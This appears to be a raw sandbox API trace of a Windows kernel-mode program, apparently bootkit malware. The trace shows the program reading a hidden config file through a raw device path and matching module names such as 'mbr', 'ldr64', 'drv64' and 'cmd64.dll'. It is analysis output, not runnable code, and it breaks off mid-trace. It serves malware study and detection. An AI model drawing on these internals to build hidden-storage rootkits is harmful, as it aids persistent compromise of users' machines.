KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.864] IdePortDispatch () returned 0x103 [0124.864] KeWaitForMutexObject () returned 0x0 [0124.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.864] KeLeaveCriticalRegion () [0124.864] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.864] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.864] KeEnterCriticalRegion () [0124.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d4000 [0124.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.864] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.864] IdePortDispatch () returned 0x103 [0124.864] KeWaitForMutexObject () returned 0x0 [0124.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.865] IdePortDispatch () returned 0x103 [0124.865] KeWaitForMutexObject () returned 0x0 [0124.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.865] KeLeaveCriticalRegion () [0124.865] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.865] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.865] KeEnterCriticalRegion () [0124.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.865] KeLeaveCriticalRegion () [0124.865] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.865] KeEnterCriticalRegion () [0124.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.865] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.865] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] KeLeaveCriticalRegion () [0124.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.866] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.866] KeEnterCriticalRegion () [0124.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] ExFreePoolWithTag (P=0xfffffa8003bf4f60, Tag=0x0) [0124.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] KeLeaveCriticalRegion () [0124.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.866] ReleaseMutex (hMutex=0xf0) returned 1 [0124.866] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.866] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.866] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.866] KeEnterCriticalRegion () [0124.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.866] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.866] IdePortDispatch () returned 0x103 [0124.866] KeWaitForMutexObject () returned 0x0 [0124.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.866] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.866] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.866] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.866] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.866] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beed00 [0124.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] KeLeaveCriticalRegion () [0124.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.866] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.866] KeEnterCriticalRegion () [0124.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.866] KeLeaveCriticalRegion () [0124.867] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.867] KeEnterCriticalRegion () [0124.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.867] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.867] IdePortDispatch () returned 0x103 [0124.867] KeWaitForMutexObject () returned 0x0 [0124.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.867] KeLeaveCriticalRegion () [0124.867] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.867] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.867] KeEnterCriticalRegion () [0124.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d5000 [0124.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.867] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.867] IdePortDispatch () returned 0x103 [0124.867] KeWaitForMutexObject () returned 0x0 [0124.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.867] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.867] IdePortDispatch () returned 0x103 [0124.868] KeWaitForMutexObject () returned 0x0 [0124.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.868] KeLeaveCriticalRegion () [0124.868] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.868] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.868] KeEnterCriticalRegion () [0124.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.868] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.868] KeLeaveCriticalRegion () [0124.868] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.868] KeEnterCriticalRegion () [0124.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.868] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.868] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.868] KeLeaveCriticalRegion () [0124.868] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.868] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.868] KeEnterCriticalRegion () [0124.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.869] ExFreePoolWithTag (P=0xfffffa8003beed00, Tag=0x0) [0124.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.869] KeLeaveCriticalRegion () [0124.869] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.869] ReleaseMutex (hMutex=0xf0) returned 1 [0124.869] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.869] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.869] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.869] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.869] KeEnterCriticalRegion () [0124.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.869] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.869] IdePortDispatch () returned 0x103 [0124.869] KeWaitForMutexObject () returned 0x0 [0124.869] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.869] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.869] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.869] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.869] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.869] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.869] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.869] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.869] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.869] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.869] KeLeaveCriticalRegion () [0124.869] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.869] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.870] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.870] KeEnterCriticalRegion () [0124.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.870] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.870] IdePortDispatch () returned 0x103 [0124.870] KeWaitForMutexObject () returned 0x0 [0124.870] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.870] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.870] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.870] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.870] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.870] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.870] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.870] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.870] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.870] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.870] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.870] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.870] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.870] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.870] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.870] KeLeaveCriticalRegion () [0124.870] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.870] ReleaseMutex (hMutex=0x100) returned 1 [0124.870] Sleep (dwMilliseconds=0x2bf20) [0124.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6da0f6b0, dwHighDateTime=0x1d24fa4)) [0124.877] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.877] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.877] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.877] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.877] KeEnterCriticalRegion () [0124.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.877] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.877] IdePortDispatch () returned 0x103 [0124.877] KeWaitForMutexObject () returned 0x0 [0124.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.877] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.877] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.877] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.877] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.877] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf20d0 [0124.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.877] KeLeaveCriticalRegion () [0124.877] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.877] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.877] KeEnterCriticalRegion () [0124.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.877] KeLeaveCriticalRegion () [0124.877] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.878] KeEnterCriticalRegion () [0124.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.878] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.878] IdePortDispatch () returned 0x103 [0124.878] KeWaitForMutexObject () returned 0x0 [0124.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.878] KeLeaveCriticalRegion () [0124.878] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.878] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.878] KeEnterCriticalRegion () [0124.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d8000 [0124.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.878] IdePortDispatch () returned 0x103 [0124.878] KeWaitForMutexObject () returned 0x0 [0124.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.878] IdePortDispatch () returned 0x103 [0124.879] KeWaitForMutexObject () returned 0x0 [0124.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.879] KeLeaveCriticalRegion () [0124.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.879] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.879] KeEnterCriticalRegion () [0124.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.879] KeLeaveCriticalRegion () [0124.879] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.879] KeEnterCriticalRegion () [0124.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.879] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.879] KeLeaveCriticalRegion () [0124.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.880] KeEnterCriticalRegion () [0124.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] ExFreePoolWithTag (P=0xfffffa8003bf20d0, Tag=0x0) [0124.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] KeLeaveCriticalRegion () [0124.880] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.880] ReleaseMutex (hMutex=0xf0) returned 1 [0124.880] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.880] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.880] 